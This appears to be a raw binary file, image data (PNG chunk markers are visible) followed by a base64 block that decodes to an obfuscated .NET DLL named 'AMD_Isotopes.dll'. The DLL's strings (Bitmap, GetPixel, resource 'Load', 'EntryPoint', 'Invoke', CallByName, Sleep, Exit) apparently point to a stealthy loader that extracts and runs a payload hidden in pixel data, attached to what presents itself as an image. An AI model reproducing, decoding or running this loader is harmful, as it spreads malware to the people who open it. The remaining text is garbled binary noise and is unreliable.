ILZ[~1
J5';i
B1QC|
9')9
^u_no
?6-I8
x{)g;
y^~x/
ub|t&K
z0qYA
. rfoz4
ib3n#
DCn)P
slOOVvx
>]E]MSf
gvm:AW
>fqq.
' =[n,
dx#z4
$R|_'
IDATWX
/tx2_
ZLv7G
!,Reb
NSjy.,_f
f["Iiv
CjQ*q]uix
fKQ}c
\"6LKJ
8&Sb2
2>S~6|]Q
~(Y)<
-gc2e&
i0ll1
w6AO0
Hg)Rg
:m#N#$
>-4Ey
K h$3
h;J$ V
JaI<+
"-V0|
l&&IRAR#^\"]
~'sI!
$=Wom.J &
WNq2h;
</sgo|9k,
tC1<t
=4e)D
-I;A2B
=:,2'
Bs)aN
veL/Y{
G)X".
)@P?R
SV0oJ
J!^9#
pCY]L
ew8wU4
m,$#"=Le
CT=]r
DKipMJ
J{uu\RO
lz/gn>
pD#Ss
i)-SMY^
'gQ]Y
5/-9(
?!e'H*f^D
'vV^(
[Xq+&y
QiKLTG\
)^f*M
rs%iz9>i
0#i'H
&+5Z4
[Btl:;
59;ak
o]khb
(F^wG9
7]!M\t
(ByQ0q
;X6"fb|
K^5e1_
2|}MxY%
2zQb#
;jzAN
BS9&+yR
.I1~1
+^J)^
7%=Og
#=!B\B%
ir8d8v
]A'h.S
lLz/9E)T
IJ1&I*
S:Y)@
+7u(yV#
A~ {T
th*s#
c}X;
S[6;E
f<*Ka
&.m\Jl
a'MK0qq
y?{='
Oa8g-G_|
eG(=f
wD\v%8S
DaD])
"huMx
wxei/
>l9|U
B[Ta/
m3\P_
H3/qV
,=Le
k'{"7
+W\I1Uy~
3w/ILz#+.Z
G3mMF
^8f(Hq
mB$aK2xr
P);D0Y
d#X_*{n
IwAjT
]b|yL
[00f&
3N\2r
e)D)E
g&@ _
7.%&KIA
.6jC\
|<b+k
FwY97n
V|Ji k
Iw]D{
'b)^Y;
0^SN1
V0!Ce9
#ili+
";_"l
g}.1<
I^<T.
:)K!J
PYMG[
~$.BwM
^N66+g
fnfB+o
/Tu.g
3V4Byr
}j<|
#5:L'
T0C[%
pv~;"
S~J!N
PmcG~
z8nkn
oG#Y/.Y
M[qfa
]/3^b
tcvR/,
'gye4
eR&@`$
`)OJFbsQ
@xN}9
2aD$O
YbJ)F
Cg&sj
xHl IJw
"RLXY
*7J30X\#
YfT5)
8-RsW
q/O^5
+Q~3%E
}2%Fx
2~_`&
/V4Cyj+j
$jj0l
x%@0V
R8'6O
0b{N>
w+J}<yn|
K!:IR
X#:HF`
e^A#^
{cQi(q
rvaGY
qZZO0Au
_Y|n3
`^$kj
.LR]f
/:2nI
"~G,ZK
%|kb/3
x`,.a
`"j8Y
z&@<O
&m"@x
77k,@@
L*O.;
d~cIj
qAWx2
qFx~D
+HnSC
LKy]_)31)
f076D
hiIlJ
0/{//B
VP:u.
y-:S?
pFuON1
VZm_L
$9&i{
mGYT;Fb
*i'TK1qM
N<5Id
L*R;a7
L1?O[
RL8=KjY
\..Sboj
Q=m"m
/~J!~
d|{\b
'#$)B
qW/6m6%|
\m2is
57{gsdQ
59ExqkN
/'Oz9
6EHbr
m&.}"
[l<Am8
'H)NY
DcJ|(V
=xVoEW
lW{.>
6w 3c+G
hB\P%
=dd'S
WRFQDm
c2#N_
)^?<k
t*jCH
;%b~5
m~%,)
SLBci
T^"@$
#R_Ia
Y!1y?
_KLZ\j
zT/Pa
8?YK5P
'"y2R
tZz\ f
Qbngb
MFmqg
=w$F/
`})Y
<.o=B
5-v;S
Y{@7q
$&|a6
%#nYM
pq{&G-w
u:'R#
DY{@bb&
wj0#z
(Lymr
n{mY{
No-.Q[
D9O6Y
9\n]D\
HiWIr
gzed)%M
le*?,
&,\j/S
GY#d&
gq~sH
6Fv><
!x}zA
"~9U9RvB(V
=dnT=>O
~_l?>
/h(5O
Iy-.A
'YKckAH
d\+&4
N3$di
G_BUw*
S&@8Nn/
$.R0q
sJx4RL
r,mVp
[Ojl6e
_ud)E
p-/1>
%Q-x-~
B\f5$a
1q`W9El
cvTDck
Qq~48
%mW$5
@2"sgc
Z6=)bME
%ukMg
byQEx
$&l\'
Uxni'~
QlpUp
L&/;B
q2Hg\
&_b/#K
{rY6"
z3UY%3
ft>.dw/O
FHOg9
+udU}%_;Z
veC8ms
6I Z,
VefIe
r8!J0
Dc*[?
z0yo)
LrgsI_
]!=lI
71>r{7
2S%=\
6"L0a)E
rh,n.
u\v4bf
D$)DO
GeQpIOV
B%&nv
.(Pk)
gEgV_
;k>~f
%ax^?'
.!AOQ9
F`4yb
OSJ#C
wf.\E
e^p9%
(q~vOk
&@4=,
/&`N{*
bQ}qP
1>Po;
7d&]?u
$%u?5
$>MUx
II{F][
{*F,?
+d7Rb
F,WLI1
%rLw{
"ji}1lo
NlKUq
#+w)&YJ
,g%wz
WhV6b
`fg/?
8U7VR
Jg\p{q
fg&@TIu#5>
=Y;a5C
%Y0A;
.)FgE>
(,jS>
YqV<]
1Q<:mM
z1K}z
YAD6<
IJ1UI
`BKd&*=
OQn|-
's~-YG
xDGF]
\&m/`
!ch}N
%8j0U
[*@X*[
kcs^!\
X{vW$2
i'@xi
3|n+I
2]/K!:O(
{!~?I
IK7ZX
~laK~m
~V;Y2x
iY[0o
{+PxH
I|gBhE&
hbyd(
M'-)[f
#MEC0
Tv)@Dz
-EjT{^
xk}G.V(
ZaOVQ!
[Ecr,Z
&669M
qS%_j
'1^JQ
,z.fd
]ZC9EL
r(fVUcR
cUxqT
iJLRMg+g
@VQ#2
|Y;!#
<5d&k
uk)9{
gPMVg
;oAvm
t2v8b{
Ce&l&
T,i\K
k{p[m
Ih8?!Kg
6/79b
aK]0aI
UP+L\
7})EO
pX\Bk
V6/f[
6 R\B
v;d0l
X?)&/
;+x~+
\W1&`:7
*eQo+
jZMIc
B)Ei:
;OaS;5
po&`~m
^4,sa
08i-W|9
i4l'n
}>6=O
o=Z%1n
5$}La
Tl1Z)@
?j.?i
c]^P7?
u 5p!i_
.]FX=
Q/{!j7
IE+X+
L<e[=
AN/cz
$%=V/
bsN0a
LnuY,
$=Lv
~z[*_
F!^wj
3)O6
;P~]_Q
rvBlF
(".^g
Mq[>M
xjzY0
,.ENcW
Y`yz7
9b/@<
,V6FUc+
}.Z/N
!hy?G
GtfkA
GuV4{
K;Sz[
Jx9l7
h-j?J'
KyUw9
LrWn<
U09{U
>ak~$W
hK~l?:
Kwbq?
]cM)M
S'N3c
b(w6x1P
g:,\U
^ND/~
[8#@t
L!E(c
QWEcX
:1kz2
LwX[^
pmS?
GWcKa
9o(@t$Y7
|m{\]
^mp0=
D5Z5'+
/Q"2m
DnN!U%
.e%e;
boPuG
FcJe&
8Sv"9
c1*C](
-hzO
FNG5U
^q\]W
4q~+b
wgG2[x
r$ 1y
Lp^ )
s~Gkb
{(mE8
w,Xe'
wbefA
3sz,_
J9'+1
1v.[&
n+e=Z
I6Cos%{
>_9;)
]<q<t
lXT)@d
%^*n~(
2OySg
MY&@\
m}"NV.
u|cLp
I!j[|
b9uAj
TnJ*d)
=\C6r
l#`qw|>6
:4TGl
Y\"+e
c(Wo"
"],Jo
T]rw,_
S"U'X
kQ&I)
sHix{
1u3 j
}Jn9^5
.!]/0
3e~$:
yv;Vb
aJ2|gQ%
ELoiQ
@=(k%
V"l4*
4g5kg
`"w#X"
g"d=Z
qN"w?DqP
JRxZW
hJT;%o5
"Gz03j(
Mvb~b
WrGD<
m/E-d
Pzn)&@
]F}CK
xZ^@L
osnL$c
%I!fIR
m=uA"
q"t2U
Un2=9
!2ZS,
;#X70
,-.>XE
~1^Sw
b<r%Q
js)wtG
QihkX
I'cfv{
yrx(9
%9j+Zjv
{X(=V
5mB">
$,ZR!K
3iRo~u
2u|w<
U%=\g
-cd&{
}Irqc
)'z[{9q
3(s|H3H
59/hYc
pB'-p
YmA~V2YU
$e~Es6,
oD^u4
`re-)
cm%Uv
YDRs$
elTyK
`A+b\c
jx%={
F;(~-"
OwU6<
XDB{y(@
"?1k_
Jfm8?
s?O.u
IU6<v
|Y{ ^j
+rX^;
MuDucS"
9?S0Y
#ux]<
j4<vp
hEBS%
0v0BS
0)2ej
JR0g/
I>Ncx
jb%qN
"NyH9
P6K*n:b
_cim!=
O2yI*
l1^5I
%@#i.
`b1t0
/e&}H5
lIY]BUGK:HLV
97,"w
L\Jgt-
9uEa("
BxG%c
V7I[{
^ju<K
aDR8/
)<IWR
6?_4`}
%b3bi
^N(NG
e=ZSU
V^;Av
.u;Jl
LxsMAi
(Y|?{
Sm)EN%
R8$9C
f%oh|
+6L>D
{dVys
D.o#i'x
Ip~).I*
]d&~7
;(L0i
3#DxS
bF0}3
+XXC<
C$I!f
~=t77
!:_r"e
e9[v4
BF7)`~
Vqvf3
7{~n"s
?<6/G
C-YEL
jmE9v
&jr|4
f&uhh<
s6^u7r:
&;)~9
I|"Vq
bApf:M
!7V:k
4qs8!
6_IZy
_|I)^
&R)]l
|j/]K-
_v&0V?
gH9wc
} ;3'
Vcsz.>
;fdn>
]m_A[
KL6}b
{AV!;
e5/3Ncl
4:Fv%v
hzp%O
|&en9
?700?(
0YZ?M
pD0a+
b/xpvz9S{~
ssO}^
I!J v
7_$=^q
cn;B3=
e8M=O
gD`{I
wsyrv
(Tp^z{
+AzJV^Y(
-~_qOxE
evI4v
++ 1Yct
GIBEK
GP.6q
8wv)s
z6,]2
Qy.%7
1JV!S
L^3{0
E{[aD
|bSto
`]%Fb
S]#vEk
&w"L;
hn(@1
)Q.Rv
EaD+6
IXP=~$%
rI~}S
7'/.C1
QPN2e
H &1AW
%@I!U
e=Z=e M
dY3;~<
O.$5x,
|6#R#
q*{ft
BN'.F
E9k>u
Q%pR|
yh0Cz
UILx$
\}`Jd
0"A(&m`
N?K$Q
9r8B;
fKNLvc
2CLU$
caD#}
bh'@T
Nq|*9]
:Sd&c
JSaD+
%M)Z4
*#$<i
&prF6
Ic;~<
$>F+9
3JIv,g
}0_x2
Q{F2>
7~2'S[
| I)J
F,8]A
1__bd
VtlVY#J.
n8 @0
%@\V!
wD{Sn
JIzbC
6OEwP
JvG%=
2zTer[
Tx62$
zx Om
';G_01s
/V|ta
p2anKP
XW9AN
`RWdQ
7#H0a
C0a%oo
!Lr]B
w4OoJ1
Gkxo1
a#/.k
$Qp)&|H|
uD|?,@(
#@0;j3
+JMr9a`
:?KY$
E/1~=
%*gYe
yU2Wm
sz&\)?
z$%1}
bEY*5
?+n#_$Ohq
I7*jF
vCK"*s
WqsU,
~I!:U
WO0q)Dm
l>BTt
}O:MmM
K0YKY
%g\liI
&%yry
W(Ij%{R
-Ixr;
H4=IAv4
z{8NCM0
VhkU0k
*kgH5
e1nc"
ZnJ}fN
YagHiq
3y(O.
X4k)^
wY &1|
l"]'4
Y/L$&
$rd/br
hB"38~
nngsU[
K *=l%
1<Flr
`^&I!
PObbQ(5
bTUw'+
/N$lW2
t"DL"n
g*'vWPQ
VU 3ai
we&/iW
N0qeI
DLWNV
"gImlK
Q>q9E
,3~%_GH
v!H0a
{P.\FS
nFx~g
qmgEPo1
<ci`g
B~e"-
&%+l
H!F9tqn
?{3[}
a,.AP
%I!ZG
-%Vlb
Pr'%&
'!UVx,
#!Vx^1
y'KO,%z
?3+LF
Po"?=
j({}l
VaZu;.L
7%J:D
Pfr{~
AD]taj
9b#[G
4quVc
VrT_0
h?t:G[
*+H!^G
C$1Ig
zU6eo
^K!zo
a`LMv:+>
,7#f3
Gbpq6
I!VJR
+QQrQ0
?k[rw
yJO?sz
fK0Ky
}q%!n
: `} _:)
jJn/f
YDLr!
yap:$v
5~I!~
0k#YNV
PvW%@
MJV8W'
hebc6
fWE<7
`b_iVbM
t1~d=
%+Lm(1
.k[2|O
ywr'3
7wf{m.
Tc*Mf
aLrGU
p7H#\
(4g1Q
K*^6lk[
3#/})
!{L!{B
|T_no\
L"F0y
9:7uq
Akd3*n
++|{,
&k:wN
-h?zB
c2H-y
Q^.l>r
(QI|?
hp{"k
F0{x>
!zti(:S
Fl$IT
{v$QT
0Bfmh
;Av.L
)VMC[
5]jvc
yo]V<
7nm4"e
e#"=L
'f9q%
#ts 'W
h=v~[
OzpZK
"&@hBcg
_;*3y
S7?b|"
<HT^&
MLb)]
;/3Yu
+\z/1
J)RAo
*u]&\pC
J)rO0
qghfU
b&qvF?
A5w9+
MTx<k
/wvXI
t$*WVsz
4&rp7
8u}=;Jwp/
qV]AxF
7)D);
~?Kgo~
`OPkj
cu)^K
OEh2A
^lkoK
s~^lA
UMQYa,3
:}>(~
@{qQ'
<$iw&C
kO#k'
%q=h37jf
?})2H
aGK*c
}E~e)
C4s{q
%j:g(n
R#n<u
alyH:
sgG~'G
;|'91
9_cE~H3>
{U$)D
mp+_v
x}z^3
xl{{~
:|L~M
oqytW
J!J)^
zI R{
qp5*j
su_<MM
TI{A\
r8AMUj
`~y97
;rmE0
u%</>
P+':L
QS0AY
CaD$=\
`Q.>:
Z[l"gg
|c<nF
;e#,=
gn0rmk
'/n;2z
<+wCw
F=ywU
u0B_Q
&UrL2
4Ky)@D*
u1=aD
,@,.s
r8)+|
[jNqi
"VI1}
_*V0~&
Clf=1
9+6o'
mw9ELR
bj8T$i
_\N}=s
G.E%c7
I{YE,
oQ'l/
OU0"t
l"Xi
j96so
7q?>0
M9w<D0
&nIj{/
/0X)<
)7BSX.
qoH<q
)kZLTi5
3|;3:
}4;r_
GKaDR
<Bad7Y{B
br.T\K`
\L{Nv
_)D-m
PYV%@l
kAj|(=|G
wVg1T'
reQ]>
_d=Z_F
bsGU~
NH" @
NuLvC
*Sc:U%
G(NZP
z!'zNa
[P6$J'
51|*i
:&z=u6
#i}d)
V,B9Y
h&<!7Y
ROe,N
#x>u2
Db*<))
g71%(
+!=+\N
+5_+?
qoZDb
M5Gh|
(to]$
;p[,.qb
<RpXJ1
o}8U-Z
rq9#<
?shO
XNuqa
Y"I!N
t2z%.
0$M*[
N0-QpS
bX{fN
O_:{JR
5aDdO`
ABb4P
{r8cdSK
Z=eN&^b
u/cP{
dU-c]w
6AqIrGS
MJQ*'
?p3W!
k{%B[
_kD%#
5]QKLc
j87n-
JJj+F
~<$)Fu
m7d&{
pm,'O%&d
DY2zQ7
=(1)C
71^j/
I!J1U
,%8B\
G"s<h
z,;G<
A:D_i
UF~_)
2"lV#z
ncua>o
K-yq<
VG)qNe
X.7*<c
*5d=Z
N'zzkz/
jW7Lo
%Wrj~
/@4=D
{e(n7
A}G%~JM>>
ru1Ys
[)(r$=
2&Iw'
z[2xE
0\\N'
Eub";
%OxrM
S&I!.
0B^,[
SNKF<
abLVP
ck8"@
$])I)
D[9q`
9{t2k
].x3z
J!FK)J
h!I}Ke
QY+y$
?)^g%&
%w^O\BgN
"1>Zm
gml4Nb
)Lm-L
:SnY~%%E0!)
*@0&1
:[8u$\
s~ADe
hM9 H`Ta91
^[nY.=L
HLV])
pfo ku
+1a/F
>(d)Cg9
dS~2Y
-%ne8
Dao5V^~E;
7M=>>
F8[Gh
QNcOCI
'k0Q=
DjY^TW
mNeQ/
Vj/#
b3:-4
_SdO*Ol
TzFtWhq
|`{Bwj
XzVfr
jq3E0i=Y
7w}2+
'=aee2A
zMn1<u
O=Z/t]
[GaDb
*l*dQs
Jb5lX
0$z}mq{
)fqV0
WRnoBBy
&$xFP%
lnYvb
_V]&xk1
S$)E}
[*lRG
EA7pO
Y\1zAFj
f^8f1Jy
I^o2G/
r8Ajy
JWFhIz
@{NyZ
!<hX-
T, e'
npc]N
I!jHR
m'&y*~=
`r"^1
?Nrr3
>FErLM
:N5g0
/cIDAT
h-}Gu
?eS1}
rL9~l
1A=g'/
O~!,jy
vwcS|
mY/uv
gbwc.
\{)=w]
,asF8
{6q(9
;SlY$
TkYwh%
_F`v5
+rs4uv
,3a)O
.TgX3tl%Q
<+wc{SWTi+
lnV[Q
*m-VNY
v(_Jf
>n?j{
CuM#J
Y#0mZ!
$ukx\1
\1'H)k
*@4:~
4>,Q
bjcjC
Mrg/-
hYIzH,
<k>a^
-*e&;
bO2B;i,
I!J1I
Ue+HT
<Pf&1\
*^lVoH
pI"X}
X7x5uw.
0w&_&
$)DGI
u^%?l
;u\zwci
=",l'
.~A<Z4
-K!J}
h62 1;
{{<;Z
6hZ*n
u`%'6D03
?qG$~N
-y~RL
@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d2VyZWRCeUF0dHJpYnV0ZQBTbWFydEFzc2VtYmx5LkF0dHJpYnV0ZXMAQXR0cmlidXRlAFhBWENBU0QAYzUASU1NTU0AU3lzdGVtLkRyYXdpbmcAQml0bWFwAEIAWEFYQVhBWABtbQB4eABTdGFydEdhbWUAQ1NDU0NWRFdERABFUQBXREZFR0dFR0VHR0UAYwBTQVNBU0ZXRgBCSABWUlZWAEtKAC5jdG9yAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAFN5c3RlbS5EaWFnbm9zdGljcwBEZWJ1Z2dpbmdNb2RlcwBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN5c3RlbS5SZWZsZWN0aW9uAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAR3VpZEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEJ5dGUAQnVmZmVyAEJsb2NrQ29weQBBcnJheQBJbWFnZQBnZXRfSGVpZ2h0AEdldFBpeGVsAENvbG9yAEZyb21BcmdiAG9wX0luZXF1YWxpdHkAQXJyYXlMaXN0AFN5c3RlbS5Db2xsZWN0aW9ucwBnZXRfQ291bnQAZ2V0X1IAZ2V0X0cAZ2V0X0IASW5zZXJ0UmFuZ2UASUNvbGxlY3Rpb24AVHlwZQBHZXRUeXBlRnJvbUhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBUb0FycmF5AGdldF9XaWR0aABTdHJpbmcA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